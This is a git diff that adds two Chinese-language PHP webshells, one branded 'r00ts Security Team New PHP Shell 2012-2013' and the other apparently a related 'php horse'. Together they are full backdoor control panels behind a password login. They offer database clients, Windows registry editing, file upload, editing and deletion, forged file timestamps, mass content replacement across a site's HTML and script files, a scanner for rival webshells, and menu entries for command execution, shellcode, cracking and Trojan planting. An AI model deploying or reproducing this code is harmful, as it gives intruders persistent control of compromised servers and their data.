                            "; +ifx_free_result($ifxresult); +ifx_close(); +} + } +elseif ($db=="db2"){ +$db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; +$db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; +$db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root'; +$db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456'; +$db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; +$db2action = isset($_POST['action']) ? $_POST['action'] : ''; +$db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; +$db2query = stripslashes($db2query); +print<< +
                            Host: +Port: +User: +Pass: +Dbname:

                            + +
                            + + +
                            +END; +if ($myaction == 'db2query'){ +//$db2string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$db2dbname;"."HOSTNAME=$db2host;PORT=$db2port;PROTOCOL=TCPIP;UID=$db2user;PWD=$db2pass;"; +$db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); +$db2result = db2_exec($db2link,$db2query) or die(db2_stmt_errormsg()); +$db2row=db2_fetch_row($db2result); +echo ''; +echo ''; +echo "\n\n"; +for ($i=0; $i'. +db2_field_name($db2result); +echo "\n"; +} +echo "\n"; +while ($db2row=db2_fetch_row($db2result)) +{ +echo "\n"; +for ($i=0; $i'; +echo "$db2row[$i]"; +echo ''; +} +echo "\n"; +} +echo "
                            \n"; +echo "
                            "; +db2_free_result($db2result); +db2_close(); +} + } +elseif($db == "fb") { +$fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; +$fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; +$fbpath = str_replace("\\\\", "\\", $fbpath); +$fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba'; +$fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey'; +$fbaction = isset($_POST['action']) ? $_POST['action'] : ''; +$fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; +$fbquery = stripslashes($fbquery); +print<< +
                            Host: +Path: +User: +Pass:
                            + +
                            + + +
                            +END; +if ($fbaction == 'fbquery'){ + $fblink = ibase_connect($fbhost.':'.$fbpath,$fbuser,$fbpass) or die(ibase_errmsg()); + $fbresult = ibase_query($fblink,$fbquery) or die(ibase_errmsg()); + echo ''; + echo ''; + echo "\n\n"; + for ($i=0; $i'. + ibase_field_info($fbresult, $i); + echo "\n"; + } + echo "\n"; + ibase_field_info($fbresult, 0); + while ($fbrow=ibase_fetch_row($fbresult)) +{ +echo "\n"; +for ($i=0; $i'; +echo "$fbrow[$i]"; +echo ''; +} +echo "\n"; +} +echo "
                            \n"; +echo "
                            "; +ibase_free_result($fbresult); +ibase_close(); + } + } +else{ +$pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost'; +$pguser = isset($_POST['pguser']) ? $_POST['pguser'] : 'postgres'; +$pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : ''; +$pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres'; +$pgaction = isset($_POST['action']) ? $_POST['action'] : ''; +$pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : ''; +$pgquery = stripslashes($pgquery); +print<< +
                            Host: +User: +Pass: +Dbname:

                            + +
                            + + +
                            +END; + +if ($pgaction == 'pgquery'){ +$pgconn = pg_connect("host=$pghost dbname=$pgdbname user=$pguser password=$pgpass ") + or die( 'Could not connect: ' . pg_last_error()); +$pgresult = pg_query($pgquery) or die( 'Query failed: '.pg_last_error()); +$pgrow=pg_fetch_row($pgresult); +echo ''; +echo ''; +echo "\n\n"; +for ($i=0; $i'. +pg_field_name($pgresult, $i); +echo "\n"; +} +echo "\n"; +pg_result_seek($pgresult, 0); +while ($pgrow=pg_fetch_row($pgresult)) +{ +echo "\n"; +for ($i=0; $i'; +echo "$pgrow[$i]"; +echo ''; +} +echo "\n"; +} +echo "
                            \n"; +echo "
                            "; +pg_free_result($pgresult); +pg_close(); +} +} + } + +//control Registry with php +function phpreg(){ +$shell1 = new COM("wscript.shell") or die("require windows host"); +$action = isset($_POST['action']) ? $_POST['action'] : ''; +echo '
                            '; +echo '
                            Read & Write &Del reg

                            '; +echo '
                            '; +print<<
                            +
                            +Rpath:  + +

                            +END; + +$rpath = isset($_POST['rpath']) ? $_POST['rpath'] : ''; +$rpath = str_replace("\\\\", "\\", $rpath); +if ($action=="read"){ +$out = $shell1->RegRead($rpath); +echo '
                            '.var_dump($out).'
                            '; +echo '

                            '; +} + +print<<
                            +
                            Wpath: +

                            +Wtype:  +Wvalue:  + +


                            +END; + +$wpath = isset($_POST['wpath']) ? $_POST['wpath'] : ''; +$wpath = str_replace("\\\\", "\\", $wpath); +$wtype = isset($_POST['wtype']) ? $_POST['wtype'] : ''; +$wvalue = isset($_POST['wvalue']) ? $_POST['wvalue'] : ''; +if ($action=="write"){ +$shell1->RegWrite($wpath, $wvalue, $wtype); +} + +print<<
                            +
                            +Dpath: + +

                            +END; + +$dpath = isset($_POST['dpath']) ? $_POST['dpath'] : ''; +$dpath = str_replace("\\\\", "\\", $dpath); +if ($action=="del"){ +$out = $shell1->RegDelete($dpath); +} + } +function Root_Login($MSG_TOP) +{ +global $lanip; +print<< + +
                            +
                            +
                            +
                            {$MSG_TOP}
                            +
                            PASS:
                            +
                            +
                            @Copyright spider Clean Backdoor and plus & modify by r00ts Security Team
                            +
                            Your IP : {$lanip}
                            +
                            +
                            +
                            + + +END; + return false; +} + +function WinMain() +{ + $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]); + $Server_OS = PHP_OS; + $Server_Soft = $_SERVER["SERVER_SOFTWARE"]; +print<< + r00ts Security Team New PHP Shell 2012-2013 + + + + + + + + +END; +return false; +} + +if(get_magic_quotes_gpc()) +{ + $_GET = Root_GP($_GET); + $_POST = Root_GP($_POST); +} +if($_GET['s'] == 'logout') +{ + setcookie('admin_b4che10rpass',NULL); + die(''); +} +if($_COOKIE['admin_b4che10rpass'] != md5($password)) +{ + ob_start(); + $MSG_TOP = 'LOGIN'; + if(isset($_POST['b4che10rpass'])) + { + $cookietime = time() + 24 * 3600; + setcookie('admin_b4che10rpass',md5($_POST['b4che10rpass']),$cookietime); + if(md5($_POST['b4che10rpass']) == md5($password)){die('');} + else{$MSG_TOP = 'This is my privileges, What are you doing man ?';} + + } + Root_Login($MSG_TOP); + exit(); + ob_end_flush(); +} + +if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';} +$p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__)); + +switch($s) +{ + case "a" : File_a($p); break; + case "b" : Guama_b(); break; + case "c" : Qingma_c(); break; + case "d" : Tihuan_d(); break; + case "e" : Antivirus_e(); break; + case "f" : Info_f(); break; + case "g" : Exec_g(); break; + case "h" : Com_h(); break; + case "i" : Port_i(); break; + case "j" : Shellcode_j(); break; + case "k" : Crack_k(); break; + case "l" : Linux_l(); break; + case "m" : Mysql_m(); break; + case "n" : Mysql_n(); break; + case "o" : phpreg(); break; + case "p" : File_Edit($_GET['fp'],$_GET['fn']); break; + case 'x' : phpcode();break; + case 'r' : phpsocket();break; + case 'w' : otherdb();break; + case 'z' : su();break; + case 'u' : Findfile_j(); break; + case 'v' : ftp_php();break; + default: WinMain(); break; +} +?> diff --git "a/php/\344\271\240\347\247\221php\351\251\254.php" "b/php/\344\271\240\347\247\221php\351\251\254.php" new file mode 100644 index 0000000..2863258 --- /dev/null +++ "b/php/\344\271\240\347\247\221php\351\251\254.php" @@ -0,0 +1,2210 @@ + +*{padding:0; margin:0;} +body{background:threedface;font-family:"Verdana","Tahoma","宋体",sans-serif;font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;} +a{color:#000000;text-decoration:none;} +a:hover{background:#BBBBBB;} +table{color:#000000;font-family:"Verdana","Tahoma","宋体",sans-serif;font-size:13px;border:1px solid #999999;} +td{background:#F9F6F4;} +.toptd{background:threedface;width:310px;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;} +.msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;} +.actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;} +.footer{padding-top:3px;text-align: center;font-size:12px;font-weight: bold;height:22px;width:950px;color:#000000;background: #888888;} +\n +END; +return false; +} +//文件管理 +class packdir +{ + var $out=''; + var $datasec=array(); + var $ctrl_dir=array(); + var $eof_ctrl_dir="\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset=0; +function packdir($array) +{ + if(@function_exists('gzcompress')) + { + for($n = 0;$n < count($array);$n++) + { + $array[$n] = urldecode($array[$n]); + $fp = @fopen($array[$n], 'r'); + $filecode = @fread($fp, @filesize($array[$n])); + @fclose($fp); + $this -> filezip($filecode,basename($array[$n])); + } + @closedir($zhizhen); + $this->out = $this->packfile(); + return true; +} +return false; +} +function at($atunix = 0) +{ + $unixarr = ($atunix == 0) ? getdate() : getdate($atunix); + if ($unixarr['year'] < 1980) + { + $unixarr['year'] = 1980; + $unixarr['mon'] = 1; + $unixarr['mday'] = 1; + $unixarr['hours'] = 0; + $unixarr['minutes'] = 0; + $unixarr['seconds'] = 0; + } + return (($unixarr['year'] - 1980) << 25) | ($unixarr['mon'] << 21) | ($unixarr['mday'] << 16) | ($unixarr['hours'] << 11) | ($unixarr['minutes'] << 5) | ($unixarr['seconds'] >> 1); +} +function filezip($data, $name, $time = 0) +{ + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->at($time)); + $hexdtime = '\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $this -> datasec[] = $fr; + $new_offset = strlen(implode('', $this->datasec)); + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset = $new_offset; + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; +} +function packfile() +{ + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return $data.$ctrldir.$this -> eof_ctrl_dir.pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).pack('V', strlen($ctrldir)).pack('V', strlen($data))."\x00\x00"; +} +} +function File_Str($string) +{ + return str_replace('//','/',str_replace('\\','/',$string)); +} +function File_Size($size) +{ + if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G'; + elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M'; + elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K'; + else $size = $size . ' B'; + return $size; +} +function File_Mode() +{ + $RealPath = realpath('./'); + $SelfPath = $_SERVER['PHP_SELF']; + $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); + return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); +} +function File_Read($filename) +{ + $handle = @fopen($filename,"rb"); + $filecode = @fread($handle,@filesize($filename)); + @fclose($handle); + return $filecode; +} +function File_Write($filename,$filecode,$filemode) +{ + $key = true; + $handle = @fopen($filename,$filemode); + if(!@fwrite($handle,$filecode)) + { + @chmod($filename,0666); + $key = @fwrite($handle,$filecode) ? true : false; + } +@fclose($handle); +return $key; +} +function File_Up($filea,$fileb) +{ + $key = @copy($filea,$fileb) ? true : false; + if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false; + return $key; +} +function File_Down($filename) +{ + if(!file_exists($filename)) return false; + $filedown = basename($filename); + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.filesize($filename)); + @readfile($filename); + exit; +} +function File_Deltree($deldir) +{ + if(($mydir = @opendir($deldir)) == NULL) return false; + while(false !== ($file = @readdir($mydir))) + { + $name = File_Str($deldir.'/'.$file); + if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);File_Deltree($name);} + if(is_file($name)){@chmod($name,0777);@unlink($name);} + } + @closedir($mydir); + @chmod($deldir,0777); + return @rmdir($deldir) ? true : false; +} +function File_Act($array,$actall,$inver) +{ + if(($count = count($array)) == 0) return '请选择文件'; + if($actall == 'e') + { + $zip = new packdir; + if($zip->packdir($array)){$spider = $zip->out;header("Content-type: application/unknown");header("Accept-Ranges: bytes");header("Content-length: ".strlen($spider));header("Content-disposition: attachment; filename=".$inver.";");echo $spider;exit;} + return '打包文件失败'; + } + $i = 0; + while($i < $count) + { + $array[$i] = urldecode($array[$i]); + switch($actall) + { + case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '路径错误'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = '复制到'.$inver.'目录'; break; + case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = '删除'; break; + case "c" : if(!eregi("^[0-7]{4}$",$inver)) return '属性值错误'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '属性修改为'.$inver; break; + case "d" : @touch($array[$i],strtotime($inver)); $msg = '修改时间为'.$inver; break; + } + $i++; + } + return '所选文件'.$msg.'完毕'; +} +function File_Edit($filepath,$filename,$dim = '') +{ + $THIS_DIR = urlencode($filepath); + $THIS_FILE = File_Str($filepath.'/'.$filename); + if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));} + else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';} +print<< +var NS4 = (document.layers); +var IE4 = (document.all); +var win = this; +var n = 0; +function search(str){ + var txt, i, found; + if(str == "")return false; + if(NS4){ + if(!win.find(str)) while(win.find(str, false, true)) n++; else n++; + if(n == 0) alert(str + " ... Not-Find") + } + if(IE4){ + txt = win.document.body.createTextRange(); + for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){ + txt.moveStart("character", 1); + txt.moveEnd("textedit") + } + if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++} + else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")} + } + return false +} +function CheckDate(){ + var re = document.getElementById('mtime').value; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('日期格式不正确!格式:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('editor').submit();} +} + +
                            查找内容: +
                            +
                            +
                            +
                            +
                            文件修改时间
                            +
                            +
                            +
                            +END; +} +function File_Soup($p) +{ + $THIS_DIR = urlencode($p); + $UP_SIZE = get_cfg_var('upload_max_filesize'); + $MSG_BOX = '单个附件允许大小:'.$UP_SIZE.', 改名格式(new.php),如为空,则保持原文件名.'; + if(!empty($_POST['updir'])) + { + if(count($_FILES['soup']) >= 1) + { + $i = 0; + foreach ($_FILES['soup']['error'] as $key => $error) + { + if ($error == UPLOAD_ERR_OK) + { + $souptmp = $_FILES['soup']['tmp_name'][$key]; + if(!empty($_POST['reup'][$i]))$soupname = $_POST['reup'][$i]; else $soupname = $_FILES['soup']['name'][$key]; + $MSG[$i] = File_Up($souptmp,File_Str($_POST['updir'].'/'.$soupname)) ? $soupname.'上传成功' : $soupname.'上传失败'; + } + $i++; + } + } + else + { + $MSG_BOX = '请选择文件'; + } + } +print<<{$MSG_BOX} +
                            +
                            上传到目录:
                            +
                            附件1 改名 $MSG[0]
                            +
                            附件2 改名 $MSG[1]
                            +
                            附件3 改名 $MSG[2]
                            +
                            附件4 改名 $MSG[3]
                            +
                            附件5 改名 $MSG[4]
                            +
                            附件6 改名 $MSG[5]
                            +
                            附件7 改名 $MSG[6]
                            +
                            附件8 改名 $MSG[7]
                            +
                            +
                            +END; +} +function File_a($p) +{ + if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; + $MSG_BOX = '等待消息队列'; + $UP_DIR = urlencode(File_Str($p.'/..')); + $REAL_DIR = File_Str(realpath($p)); + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); + $THIS_DIR = urlencode(File_Str($REAL_DIR)); + $NUM_D = 0; + $NUM_F = 0; + if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? '编辑文件 '.$_POST['pfn'].' 成功' : '编辑文件 '.$_POST['pfn'].' 失败';@touch($_POST['pfn'],$intime);} + if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($REAL_DIR.'/'.$upfilename)) ? '上传文件 '.$upfilename.' 成功' : '上传文件 '.$upfilename.' 失败';} + if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);} + if(isset($_GET['md'])){$modfile = File_Str($REAL_DIR.'/'.$_GET['mk']); if(!eregi("^[0-7]{4}$",$_GET['md'])) $MSG_BOX = '属性值错误'; else $MSG_BOX = @chmod($modfile,base_convert($_GET['md'],8,10)) ? '修改 '.$modfile.' 属性为 '.$_GET['md'].' 成功' : '修改 '.$modfile.' 属性为 '.$_GET['md'].' 失败';} + if(isset($_GET['mn'])){$MSG_BOX = @rename(File_Str($REAL_DIR.'/'.$_GET['mn']),File_Str($REAL_DIR.'/'.$_GET['rn'])) ? '改名 '.$_GET['mn'].' 为 '.$_GET['rn'].' 成功' : '改名 '.$_GET['mn'].' 为 '.$_GET['rn'].' 失败';} + if(isset($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($REAL_DIR.'/'.$_GET['dn']),0777) ? '创建目录 '.$_GET['dn'].' 成功' : '创建目录 '.$_GET['dn'].' 失败';} + if(isset($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? '删除目录 '.$_GET['dd'].' 成功' : '删除目录 '.$_GET['dd'].' 失败';} + if(isset($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = '下载文件不存在';} + Root_CSS(); +print<< + function Inputok(msg,gourl) + { + smsg = "当前文件:[" + msg + "]"; + re = prompt(smsg,unescape(msg)); + if(re) + { + var url = gourl + escape(re); + window.location = url; + } + } + function Delok(msg,gourl) + { + smsg = "确定要删除[" + unescape(msg) + "]吗?"; + if(confirm(smsg)) + { + if(gourl == 'b') + { + document.getElementById('actall').value = escape(gourl); + document.getElementById('fileall').submit(); + } + else window.location = gourl; + } + } + function CheckDate(msg,gourl) + { + smsg = "当前文件时间:[" + msg + "]"; + re = prompt(smsg,msg); + if(re) + { + var url = gourl + re; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('日期格式不正确!格式:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();} + } + } + function CheckAll(form) + { + for(var i=0;i +
                            {$MSG_BOX}
                            +
                            +
                            + +
                            +
                            +
                            + + + + + + +
                            +
                            + + +END; + if(($h_d = @opendir($p)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' or $Filename == '..') continue; + $Filepath = File_Str($REAL_DIR.'/'.$Filename); + if(is_dir($Filepath)) + { + $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + $Filepath = urlencode($Filepath); + echo "\r\n".' '; + $Filename = urlencode($Filename); + echo ' '; + echo ' '; + echo ' '; + echo ' '."\r\n"; + $NUM_D++; + } + } + @rewinddir($h_d); + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' or $Filename == '..') continue; + $Filepath = File_Str($REAL_DIR.'/'.$Filename); + if(!is_dir($Filepath)) + { + $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath); + $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + $Filesize = File_Size(@filesize($Filepath)); + if($Filepath == File_Str(__FILE__)) $fname = ''.$Filename.''; else $fname = $Filename; + echo "\r\n".' '; + $Filepath = urlencode($Filepath); + $Filename = urlencode($Filename); + echo ' '; + echo ' '; + echo ' '; + echo ' '."\r\n"; + $NUM_F++; + } + } + @closedir($h_d); + if(!$Filetime) $Filetime = '2009-01-01 00:00:00'; +print<< +
                            + + + + + + + +目录({$NUM_D}) / 文件({$NUM_F})
                            +END; +return true; +} +//批量替换 +function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) +{ + if(($h_d = @opendir($tp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($tp.'/'.$Filename); + if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb); + $doing = false; + if(eregi($tt,$Filename)) + { + $ic = File_Read($Filepath); + if($th) + { + if(!stristr($ic,$tca)) continue; + $ic = str_replace($tca,$tcb,$ic); + $doing = true; + } + else + { + preg_match_all("/href\=\"([^~]*?)\"/i",$ic,$nc); + for($i = 0;$i < count($nc[1]);$i++){if(eregi($tca,$nc[1][$i])){$ic = str_replace($nc[1][$i],$tcb,$ic);$doing = true;}} + } + if($td) $ftime = @filemtime($Filepath); + if($doing) echo File_Write($Filepath,$ic,'wb') ? '成功:'.$Filepath.'
                            '."\r\n" : '失败:'.$Filepath.'
                            '."\r\n"; + if($td) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} +function Tihuan_d() +{ + if((!empty($_POST['tp'])) && (!empty($_POST['tt']))) + { + echo '
                            '; + $tt = str_replace('.','\\.',$_POST['tt']); + $td = isset($_POST['td']) ? true : false; + $tb = ($_POST['tb'] == 'a') ? true : false; + $th = ($_POST['th'] == 'a') ? true : false; + if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']); + echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '替换完毕' : '异常终止'; + echo '
                            '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fulllll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];} + return true; +} +function showth(th){ + if(th == 'a') document.getElementById('setauto').innerHTML = '查找内容:
                            替换成为:'; + if(th == 'b') document.getElementById('setauto').innerHTML = '
                            下载后缀

                            替换成为 '; + return true; +} +function autoup(){ + if(document.getElementById('tp').value == ''){alert('路径不能为空');return false;} + if(document.getElementById('tt').value == ''){alert('类型不能为空');return false;} + if(document.getElementById('tca').value == ''){alert('代码不能为空');return false;} + document.getElementById('tform').submit(); +} + +
                            +
                            替换路径 +
                            +
                            文件类型 +
                            +
                            替换文件中的指定内容 替换文件中的下载地址
                            +
                            查找内容
                            替换成为
                            +
                            保持文件修改时间不变
                            +
                            将替换应用于该文件夹,子文件夹和文件 +
                            仅将替换应用于该文件夹
                            +
                            + +END; +return true; +} +//扫描木马 +function Antivirus_Auto($sp,$features,$st,$sb) +{ + if(($h_d = @opendir($sp)) == NULL) return false; + $ROOT_DIR = File_Mode(); + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($sp.'/'.$Filename); + if(is_dir($Filepath) && $sb) Antivirus_Auto($Filepath,$features,$st); + if(eregi($st,$Filename)) + { + if($Filepath == File_Str(__FILE__)) continue; + $ic = File_Read($Filepath); + foreach($features as $var => $key) + { + if(stristr($ic,$key)) + { + $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + echo ' '.$Filepath.'
                            编辑 删除 】 '; + echo ' 【 '.$Filetime.' 】 '.$var.'

                            '."\r\n"; + break; + } + } + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Antivirus_e() +{ + if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '删除成功' : '删除失败';} return false;} + if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } + $SCAN_DIR = isset($_POST['sp']) ? $_POST['sp'] : File_Mode(); + $features_php = array('eval一句话特征'=>'eval(','大马read特征'=>'->read()','大马readdir特征3'=>'readdir(','MYSQL自定义函数语句'=>'returns string soname','加密特征1'=>'eval(gzinflate(','加密特征2'=>'eval(base64_decode(','加密特征3'=>'base64_decode(','eval一句话2'=>'eval (','php复制特征'=>'copy($_FILES','复制特征2'=>'copy ($_FILES','上传特征'=>'move_uploaded_file($_FILES','上传特征2'=>'move_uploaded_file ($_FILES','小马特征'=>'str_replace(\'\\\\\',\'/\','); + $features_asx = array('脚本加密'=>'VBScript.Encode','加密特征'=>'#@~^','fso组件'=>'fso.createtextfile(path,true)','excute一句话'=>'execute','eval一句话'=>'eval','wscript特征'=>'F935DC22-1CF0-11D0-ADB9-00C04FD58A0B','数据库操作特征'=>'13709620-C279-11CE-A49E-444553540000','wscript特征'=>'WScript.Shell','fso特征'=>'0D43FE01-F093-11CF-8940-00A0C9054228','十三函数'=>'╋╁','aspx大马特征'=>'Process.GetProcesses','aspx一句话'=>'Request.BinaryRead'); +print<< +
                            扫描路径
                            +
                            木马类型 php木马 +asp+aspx木马
                            +
                            将扫马应用于该文件夹,子文件夹和文件 +
                            仅将扫马应用于该文件夹
                            +
                            + +END; +if(!empty($_POST['sp'])) +{ + echo '
                            '; + if(isset($_POST['stphp'])){$features_all = $features_php; $st = '\.php|\.inc|\;';} + if(isset($_POST['stasx'])){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';} + if(isset($_POST['stphp']) && isset($_POST['stasx'])){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';} + $sb = ($_POST['sb'] == 'a') ? true : false; + echo Antivirus_Auto($_POST['sp'],$features_all,$st,$sb) ? '扫描完毕' : '异常终止'; + echo '
                            '; +} +return true; +} +//搜索文件 +function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb) +{ + //echo $sfp.'
                            '.$sfc.'
                            '.$sft.'
                            '.$sff.'
                            '.$sfb; + if(($h_d = @opendir($sfp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + if(eregi($sft,$Filename)) continue; + $Filepath = File_Str($sfp.'/'.$Filename); + if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb); + if($sff) + { + if(stristr($Filename,$sfc)) + { + echo ' '.$Filepath.'
                            '."\r\n"; + ob_flush(); + flush(); + } + } + else + { + $File_code = File_Read($Filepath); + if(stristr($File_code,$sfc)) + { + echo ' '.$Filepath.'
